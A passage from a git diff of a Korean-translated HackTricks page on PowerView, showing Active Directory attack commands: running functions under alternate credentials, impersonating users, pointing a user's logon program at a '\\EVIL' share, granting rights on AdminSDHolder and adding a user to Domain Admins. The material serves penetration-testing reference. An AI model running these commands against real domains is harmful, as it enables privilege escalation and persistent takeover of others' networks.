Replace `<username>` with the username of the desired user. You will be prompted to enter the password for that user.
|
||||
|
||||
By using different credentials, you can gather information and perform actions that are restricted to specific users or groups. This can be useful for privilege escalation and lateral movement during a penetration test.
|
||||
#### 다른 자격 증명 사용 (인수)
|
||||
```powershell
|
||||
# use an alterate creadential for any function
|
||||
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
|
||||
|
@ -1114,22 +298,6 @@ $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $S
|
|||
Get-DomainUser -Credential $Cred
|
||||
```
|
||||
#### 사용자 위장
|
||||
|
||||
To impersonate a user in PowerShell, you can use the `Invoke-UserImpersonation` function from the PowerView module. This function allows you to execute commands as if you were the specified user.
|
||||
|
||||
```powershell
|
||||
Invoke-UserImpersonation -Username <username> -Command <command>
|
||||
```
|
||||
|
||||
Replace `<username>` with the username of the user you want to impersonate, and `<command>` with the command you want to execute as that user.
|
||||
|
||||
For example, to impersonate the user "admin" and execute the command "whoami", you would use the following command:
|
||||
|
||||
```powershell
|
||||
Invoke-UserImpersonation -Username admin -Command whoami
|
||||
```
|
||||
|
||||
This can be useful during a penetration test to perform actions as a specific user and test their privileges and access rights.
|
||||
```powershell
|
||||
# if running in -sta mode, impersonate another credential a la "runas /netonly"
|
||||
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
|
@ -1138,16 +306,7 @@ Invoke-UserImpersonation -Credential $Cred
|
|||
# ... action
|
||||
Invoke-RevertToSelf
|
||||
```
|
||||
#### 값 설정하기
|
||||
|
||||
```powershell
|
||||
Set-Value -Name <name> -Value <value>
|
||||
```
|
||||
|
||||
- `<name>`: 설정할 값의 이름
|
||||
- `<value>`: 설정할 값
|
||||
|
||||
이 명령은 지정된 이름과 값을 가진 변수를 설정합니다.
|
||||
#### 값 설정
|
||||
```powershell
|
||||
# set the specified property for the given user identity
|
||||
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
||||
|
@ -1158,14 +317,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
|
|||
# Add user to 'Domain Admins'
|
||||
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue